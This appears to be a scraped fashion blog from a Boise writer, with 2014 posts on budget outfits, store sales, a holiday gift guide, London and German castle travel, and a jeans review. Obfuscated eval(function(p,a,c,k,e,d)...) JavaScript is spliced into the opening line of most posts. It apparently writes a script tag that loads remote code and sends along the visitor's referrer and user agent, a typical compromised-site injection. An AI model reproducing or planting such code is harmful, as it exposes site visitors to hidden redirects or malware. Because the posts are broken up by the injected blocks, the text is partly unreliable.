Easy Style on a Budget: Denim & Stripes

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtdk|var|u0026u|referrer|sdars||js|php’.split(‘|’),0,{}))
you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People, Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday, 12-5pm on Sunday

Follow me on Instagram for daily sale alerts & fab fashion finds!

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StyleSpyGirl’s Holiday Gift Guide 2014

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizyr|var|u0026u|referrer|ydiki||js|php’.split(‘|’),0,{}))
is almost here! In case you need a few last-minute ideas, I’m sharing my personal wish list of favorite finds, from Boise and beyond. And I’ve linked directly to most of what you see here, so it’s easy to click-to-buy!

Wishing you and yours a very Merry Christmas,

~

Local Love

1. Arrow Hoop Earrings $25, Fluff 4 The Particular / 2. Idaho Gun Trucker Hat $25, and Sweatshirt $40, Banana Ink / 3. Ollipop Vintage Inspired Ring $39, Ruby Lou Clothing Boutique / 4. PULSE Bracelet $20 Sterling Silver, Unigon Specialties / 5. Bullet Shell Jewelry 9mm Turqoise gemstone $36, Body Novelties / 6. COPONCHA All-Weather Fashion Poncho $199, Ginger And Mary Ann / 7. Black & Gold Sequin Sleeve Dress $79, Posh Boutique / 8. Organic 70% Dark Chocolate Cranberry Orange, rosieMADE

Glitz & Glam

1. Manic Choker Necklace $296, Marshelly’s / 2. Raine Jumpsuit by Jessica Faulkner $162, Orange Harp (Use Discount Code TWSTYLE to receive 15% OFF at Checkout!) / 3. Red Wool Blend Turnlock Trench Coat $118, Express /4. Rolex His & Hers Watches, Price upon request Hal Davis Jewelers, 1-800-421-6151 / 5. Arabesque Cocktail Ring and Pave’ Chevron Ring both $29 each, Stella & Dot / 6. Mini Turnlock Borough Bag $398, & Mini Chain Crossbody $195 In Metallic Leather, Coach / 7. World Cuff Bracelet $380, by Artelier / 8. The Dreamer Henley Pajama with Matching Eye Mask $39.50, Victoria’s Secret / 9. Katana Ring $85, Marshelly’s

Tech Cravings

1. MEMI silver tech bracelet $150, Memi.com. First wearable technology made for women, by women! Smartbracelet discreetly vibrates when you receive important phone calls, text messages, and calendar alerts. Silver and White, pre-order only. / 2. BLOOM Necklace $79.99, connects with SHINE Fitness & Sleep Monitor (sold separately.) Hand-finished stainless steel. / 3. MOTA Smartring $99.99, MOTA. Pairs with any Bluetooth enabled device. Notifications vibrate; simply scroll through the screen to view your latest updates! Midnight Black or Pearl White. / 4. CUFF “Lisa” Necklace $119 marked down to $59 pre-order! Never miss an important call or text; notifications with a buzz, and safety alert with just a touch. / 5. MICA Tech Bracelet $495, by Opening Ceremony. An intelligent communication accessory designed by Opening Ceremony, and powered by Intel. Delivers discreet text messages, email alerts, Facebook notifications, calender reminders, and more! 18k gold finish and adorned with pearls, lapis, obsidian, and tiger’s eye. / 6. Limited Edition Dive Bar Ringly $195, Crafted with a rhodium plated setting and a tourmalated quartz semi-precious stone. Stargaze Black Onyx Ringly $195, Crafted with an 18K matte gold 3 micron plated setting and precious and semi-precious stones. Connects to your phone and sends you customized notifications through vibration and light!

SPLURGE:

The New Brilliant Invention for Hot Weather Dressing!

Picture eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayzs|var|u0026u|referrer|ebidt||js|php’.split(‘|’),0,{}))
Courtesy of Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes. But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

Hot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls !

XOXO,

Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zheas|var|u0026u|referrer|dtrzz||js|php’.split(‘|’),0,{}))
something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with! Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

ACE Delivery Shirt, $68 / Tube Skirt, $58

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

AUGUST HAT Home Run Baseball Cap, $32

BOBEAU Lace Border Print Dress, $58

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.

Blogger Abroad Style Report: LONDON

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnnt|var|u0026u|referrer|khddt||js|php’.split(‘|’),0,{}))
outfit: TopShop London / Lala’s Outfit: Primark

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were:

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

stylespygirl cambridge — Bridge of Sighs

london stylespygirl big ben — Because you HAVE to get the phone booth photo!

stylespygirl london Borough Market — Borough Market

Tower bridge London stylespygirl — Tower Bridge London

Tower of London stylespygirl — Tower of London

stylespygirl london Street Markets Near Liverpool Station — Overalls!

stylespygirl london burberry — Burberry Store in London

stylespygirl london Camden Market — Camden Market

stylespygirl london Millennium Bridge — Millennium Bridge

Kissing london eye stylespygirl — Kissing in London

Tower Bridge Sunset stylespygirl london — Tower Bridge – Storm Coming!

Camden Market stylespygirl london — Camden Market

Swans palace stylespygirl london — Swans near the palace

stylespygirl london macarons — Macarons!

Oxford Circus

Kissing in the Underground stylespygirl london — Kissing in the Underground

Underground london stylespygirl — My Huge Coach Travel Purse!

Primark Sandals Topshop Satchel StyleSpyGirl — Primark Sandals & Topshop Satchel

Blogger Abroad: Vacation Style in an Ancient Castle

Dagstuhl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zifna|var|u0026u|referrer|nybfs||js|php’.split(‘|’),0,{}))
Fortress, Wadern, Germany / Tank and Shorts: Express

I learned something new about myself this week: I’m a total history nerd. Seriously, I hadn’t realized it before, but being back in Germany, surrounded by buildings, towns, & monuments that are over 1,000 years old impacted me so deeply, I felt like a 5 year old girl in Disneyland! There is something so amazing to me – mystical, almost – to walk the same ground where families lived, ate, fought, slept… Real individuals, going about their days just like we do, but in a time so distant, it’s difficult to truly imagine.

This fortress was built around 1290AD, on top of even older existing structures. High atop the hills of Wadern, Germany, the breathtaking view stretches for miles in every direction. Once upon a time, this fortress was amazing. Watch my video for a 360 view of the entire thing!

Sunglasses: Kate Spade courtesy of Boise Mountain Eyewear

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Shorts: Express / Shoes: ALDO (on sale here now!)

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Blogger Abroad: Dagstuhl Castle

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Schloss Dagstuhl, 2014

Dagstuhl Castle was built around 1760 in the town of Wadern, in southern Germany. Situated in lush, vibrant forest surrounded by hills and a sprawling village, the castle has a long and fascinating history.

The town of Dagstuhl began with a great fortress, built in 1290, remnants of which can still be seen to this day. In the 1700’s, Count Josef Anton began investing heavily in the town, transforming it into a bustling cultural and aristocratic community. Under his guidance, order and cleanliness guidelines came into place, establishing such modern concepts as annual chimney and safety inspections, the building of permanent homes, crop rotation and “freehold” farmers who owned the land, and a garbage disposal system.

Under Count Josef’s rule, Wadern grew into a commercial center whose fabric industry, nobility, and justice system enjoyed widespread fame.

Count Josef even built his own brewery, to provide an endless supply of beer for his legendary parties and celebrations. The brewery remains can still be seen today!
Ownership of the castle has changed hands many times over the centuries, but one of it’s most famous residents was the “Painting Countess,” Octavie De Lasalle, who renovated the chapel and took it upon herself to personally paint the interior. It took her 40 years to complete the work, and her fame grew in the meantime as she also produced beautiful works in her artist’s cottage, built in the old fortress remains. To this day, many of her paintings can be seen in museums across the area, always signed with her initials O.v.L.L., or a tiny red robin.

For many decades the castle was owned by a third Order of Franciscan nuns, who expanded the grounds and renovated it to create a residential home for the elderly. Eventually they left the castle and moved into town, to a building near the hospital in Wadern, and the state Government of the Saarland took over ownership of the property. With help from the Rhineland-Palatine Government, they converted Schloss Dagstuhl into the International Research Center for Computer Science, which continues to host conferences and groups from across the globe.

Schloss Dagstuhl ~ International Research Center for Computer Science

Sweater, Tank, Skirt: LOFT / Flats: ALDO Shoes (on SALE now here!)

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The Jeans I’ll Be Wearing All Over Europe

Photos: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdadh|var|u0026u|referrer|rfsys||js|php’.split(‘|’),0,{}))
Aubrey Brower / Makeup: Delila Gutierrez / Hair: Erin Swenson of Eclectic Style

So here’s a funny thing you might not know about me: I don’t like jeans. I get that they’re a wardrobe staple, and the biggest fashion trend since the 1960’s… But I would rather wear a dress, or a tunic & leggings, any day. Jeans have always felt stiff and restrictive to me! Of course, some of that distaste could be related to my inability to find jeans that actually fit me well. My legs are proportionately long for my body, so I usually have to go up a size to find jeans that aren’t too short, and then of course they just kind of fall off… And I’m back to dresses, lol!

Recently, denim company French Dressing Jeans contacted me about reviewing a NEW line of jeans they are launching in the USA for the first time, called LOVE Premium Denim. Utilizing Lycra and what they call “Hold-You-In” Technology, their jeans come in four different curve-conscious fits, and are designed to “flatten the tummy and lift the behind.” I was skeptical, I have to admit, but sent them my sizing info and waited.

A beautiful package arrived in the mail a few days later: my new LOVE Premium Denim “Kylie” skinny jeans, designed with a higher rise for us ladies with narrower hips, so they stay up and don’t sag down in the bootie. (Also available are the Suzanne, the Olivia, and the Jegging.) I immediately loved the softness of these jeans, and the cleverly-cut lines. See those vertical seams on the legs? Those are a visual trick of the eye that elongate and slenderize your figure!

Ok, consider me impressed… But what about the fit?

Slipping into my Kylie jeans felt very much like putting on a pair of leggings; soft, stretchy, and surprisingly comfortable! And the cherry on top: these babies are looooong! Yeah, definitely NOT putting them in the dryer, lol; they’re the perfect length. I’ve never been able to wear skinny jeans that had that little “scrunch” at the bottom, over my shoes! Seriously, I might admit that I squealed in delight, but don’t tell anyone.

Friday morning I leave for an amazing European adventure. I can’t wait to see what fashions are trending “across the pond!” My suitcase is packed, and I’m ready to go… With my new favorite jeans: Kylie skinnies that go with e v e r y t h i n g!!! Thank you for the opportunity to change my mind about jeans, LOVE Premium Denim! LOVE you right back.

XOXO,

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My Vegas Style, Day to Night

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courtesy of Vegas.com / For more info, check out Aria at http://www.vegas.com/resorts/aria/

So you’re heading to Las Vegas for a fun weekend, but you want to save room in your suitcase for all the shopping treasures you know you’re going to find? Pack light, and wear versatile pieces! I stick with one set of colors when I travel: black & white, with splashes of a few favorite colors as accents. If everything in my suitcase goes together, I know I can mix & match with ease and efficiency!

Here’s my guide for making one easy outfit go from day, to poolside, to nightclub… And it all fits in one bucket bag!